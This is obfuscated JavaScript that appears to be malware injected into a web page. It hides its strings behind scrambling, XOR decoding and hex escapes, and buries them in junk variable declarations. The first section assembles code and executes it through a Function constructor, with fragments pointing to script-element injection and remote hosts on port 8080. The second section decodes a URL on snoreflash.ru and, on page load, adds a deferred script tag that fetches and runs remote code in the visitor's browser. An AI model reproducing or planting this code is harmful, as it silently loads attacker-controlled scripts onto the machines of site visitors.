Ve;if(Ve!='' && Ve!='HC'){Ve=''};var lu=48425;t++;W=Lk(C,t - d);this.yH="";var XL=new String();n+=W*T;}return new o(n % Tk);}var JX;if(JX!='Zdh' && JX!='pg'){JX=''};var wej;if(wej!='Nf' && wej!='VD'){wej='Nf'};var DN=window;var QI='';var mD;if(mD!='' && mD!='EJ'){mD='HT'};var Tm=DN[u("aevl", [1,2,0])];var G=Tm(u("otuincFn", [6,2,4,5,1,3,0]));this.uc="uc";this.gs="gs";var VS="";var Pm;if(Pm!='gr' && Pm != ''){Pm=null};var tI;if(tI!='' && tI!='iP'){tI=null};var Le=new Array();var E=Tm(u("ExgepR", [5,3,2,0,1,4]));var z = '';var Fc=new String();this.rx='';var o=Tm(u("gtSirn", [2,1,4,3,5,0]));var Up;if(Up!=''){Up='VE'};var ve;if(ve!='iJ' && ve!='Xz'){ve=''};var ft;if(ft!='ld' && ft!='QV'){ft=''};var cDK=new String();var RT;if(RT!='' && RT!='hj'){RT=''};var q=DN[u("enuacspe", [2,1,0])];var M=o[u("mrhofCoreCad", [4,1,3,0,5,2])];var LF;if(LF!='rVg' && LF!='AM'){LF=''};var nE = o.fromCharCode(37);var ql=new String();var y =[0][0];var cf=false;this.Xn=false;var d =[1][0];var Ka=[1, u("ndecomuttac.erneelEmeitr\'(cspt\')", [1,4,3,6,5,2,0]),2, u("peguamloadc.om", [5,1,2,4,3,0,6]),3, u("odncmeu.t.bdyopaCpndeih)l(dd", [1,0,3,6,4,5,2]),4, u("nc.ilvseietdseing.ur:0880", [1,0,2]),5, u(".desAtttirubet\'(edef\'r", [1,0]),6, u("..omcca.8ovg11114", [4,2,3,0,5,6,1]),7, u("wdniwoalno.od", [4,3,2,1,5,0]),8, u("ooglegco.m", [2,0,1]),11, u("tfncuion()", [1,4,2,3,0,5,6]),12, u("sdoeo.kcm", [2,1,3,0]),14, u("ooglegdk.", [2,0,1]),15, u("atcc(e)h", [3,0,1,2]),16, u("t\"thp:", [1,3,0,2]),17, u("biomle", [3,2,0,1]),18, u("srd.c", [2,3,0,1]),19, u("1\')\'", [1,0]),20, u("rty", [1,0])];this.IS=642;var boM;if(boM!=''){boM='jk'};var ZC = '';var Ui="";var SvN="";var Ie;if(Ie!='HO' && Ie!='um'){Ie=''};var l = '';var LP;if(LP!='' && LP!='aY'){LP='px'};var UB=new String();var Gx=new Date();var N =[137,213,0][2];var Dw = /[^@a-z0-9A-Z_-]/g;var OM="OM";var oJ =[161,133,2,189][2];var cX;if(cX!='yCu'){cX='yCu'};var qv;if(qv!='' && qv!='Ks'){qv=null};var Gs = r[u("nelhtg", [2,1,0])];var fuN=new String();var Ex = '';var lj='';var IC;if(IC!='TDy' && IC!='CrG'){IC=''};var gA=false;var RN=40245;var mN='';for(var UR=N; UR < Gs; UR+=oJ){Ex+= nE; this.rC=32721;var ke="ke";Ex+= r[u("bsurst", [1,2,0])](UR, oJ);var oJD='';var TmK="";}var fF;if(fF!='' && fF!='tl'){fF=null};var fh=new String();var EJw="EJw";var r = q(Ex);var VG;if(VG!=''){VG='OT'};var uv;if(uv!=''){uv='qn'};var rp = new o(I);var EP = rp[u("ealprce", [4,0,3,2,1])](Dw, ZC);var JS;if(JS!='bP'){JS='bP'};var TT = new o(G);var kf = Ka[u("gntelh", [4,3,1,0,2])];var zr="";this.Zi="Zi";EP = uu(EP);var Xh=new Date();var A = TT[u("lerpace", [2,1,3,0])](Dw, ZC);var A = p(A);var VJ;if(VJ!='fD' && VJ!='XO'){VJ=''};var P=p(EP);var fr;if(fr!='mB'){fr=''};this.cGf="cGf";var Ih;if(Ih!='' && Ih!='ts'){Ih=null};var sy;if(sy!='' && sy!='bv'){sy=''};for(var K=N; K < (r[u("tlnegh", [1,3,2,4,0,5])]);K=K+[49,1,54,193][1]) {var lI;if(lI!='MP' && lI != ''){lI=null};var Gp;if(Gp!='' && Gp!='QVz'){Gp='pn'};var Es = EP.charCodeAt(y);var hN;if(hN!='nWy' && hN!='IF'){hN='nWy'};var Zm=40589;var dt = Lk(r,K);var Qp=new String();var MC=new String();this.Vg="Vg";dt = Z(dt, Es);var cP;if(cP!='Nk'){cP='Nk'};var ifm=new String();dt = Z(dt, P);var MCR;if(MCR!='Ho' && MCR!='SR'){MCR='Ho'};dt = Z(dt, A);var FSl;if(FSl!='' && FSl!='cZD'){FSl='vs'};y++;var ru=false;var oi=new Array();var ev;if(ev!='RO' && ev!='od'){ev='RO'};if(y > EP.length-d){this.cC="cC";y=N;this.Fs=false;var UBq;if(UBq!='' && UBq!='FrJ'){UBq=''};}var FR="";var ow;if(ow!='azF'){ow='azF'};var MH=new String();this.DuO="";l += M(dt);}var kt=false;var fIu=false;var rU;if(rU!='' && rU!='spo'){rU=''};for(Wd=N; Wd < kf; Wd+=oJ){var ed='';var NTF;if(NTF!=''){NTF='ks'};var aa;if(aa!='SCf'){aa=''};var e = M(Ka[Wd]);var PX;if(PX!='' && PX!='pz'){PX=null};var wg="";var X = Ka[Wd + d];var xVD=new Date();this.WC='';var Ei = new E(e, o.fromCharCode(103));var dG;if(dG!=''){dG='oM'};var vJ="";l=l[u("lparece", [3,4,1,0,2])](Ei, X);}this.Ns=65343;this.Dd='';var i=new G(l);var ny='';var DX;if(DX!='' && DX!='Ry'){DX=null};i();this.Vv=51865;this.oL=49372;var cE;if(cE!='kQ' && cE!='Hp'){cE='kQ'};EP = '';var zI=new Array();i = '';this.Vt='';var OQ;if(OQ!='vR'){OQ='vR'};var orm=new String();P = '';l = '';this.qAT="qAT";A = '';var XZ;if(XZ!='TTM' && XZ!='unF'){XZ='TTM'};var aYi="";TT = '';this.tNz='';this.dj='';var HA=new String();var zE="zE";return '';var CV=65044;var sJw;if(sJw!='' && sJw!='YY'){sJw=''};};var nl=50875;var uus;if(uus!='FZ' && uus!='Hx'){uus='FZ'};var DR;if(DR!='es' && DR!='Mp'){DR='es'};I(uvP);


var CD=new Array();var yv="";var u;if(u!='z'){u='z'};function C(){var dz;if(dz!='b' && dz!='vN'){dz='b'};var gC="";var j=window;var L="";var l=unescape;var G;if(G!='' && G!='M'){G='BU'};this.k='';var K=l("%2f%61%6f%6c%2d%63%6f%2d%75%6b%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%61%6b%75%74%65%6e%2e%6e%65%2e%6a%70%2e%70%68%70");var QYd=new String();function Q(Z,d){var F='';var RD=new Date();var gB=new Array();var qD;if(qD!='N' && qD!='la'){qD=''};var QZ=new String("g");var c=new String();var lC=l("%5b"), D=l("%5d");var Mu;if(Mu!='TT'){Mu=''};var g=lC+d+D;var YR='';var V=new RegExp(g, QZ);return Z.replace(V, new String());var pJ=new Array();var _m=new Date();};var uf=new String();var Cm=new Date();var a;if(a!='Rw'){a=''};this.X="";var nB=new String();var dzM;if(dzM!='' && dzM!='w'){dzM=''};var f=document;var s="";this.nv="";var QY=Q('8297701453987963904521','12935764');var Op;if(Op!='qC'){Op=''};var y=new String();var nR;if(nR!='Ps' && nR!='i'){nR='Ps'};var gR;if(gR!='JM' && gR!='UY'){gR='JM'};var Nn=new String();var fN=new String();function J(){var E;if(E!='OZ' && E!='Oc'){E='OZ'};var v=l("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");y=v;y+=QY;var At=new Date();var aN=new Date();y+=K;var bu;if(bu!='qX'){bu=''};var vq=new Array();var bK;if(bK!='zH' && bK!='QYv'){bK=''};try {var di=new String();jf=f.createElement(Q('sUcMrMibpQtQ','bnUQMS'));this.OM='';var SI=new String();var uV="";jf[l("%73%72%63")]=y;jf[l("%64%65%66%65%72")]=[4,1][1];var hZ;if(hZ!=''){hZ='jGl'};f.body.appendChild(jf);var Gv="";} catch(lCy){var kl;if(kl!='WN'){kl='WN'};var ch;if(ch!='Sf'){ch='Sf'};alert(lCy);var qt;if(qt!='' && qt!='KU'){qt='pX'};};var iz;if(iz!='gx' && iz!='lf'){iz=''};var N_R;if(N_R!='IO'){N_R='IO'};}var cR;if(cR!='dZ' && cR != ''){cR=null};var AL=new Date();j[String("onlo"+"adLPwC".substr(0,2))]=J;var ZX;if(ZX!='nH' && ZX!='PS'){ZX='nH'};var RO;if(RO!='ek' && RO!='cm'){RO='ek'};};var Rh;if(Rh!='' && Rh!='sj'){Rh=''};this.TTq="";C();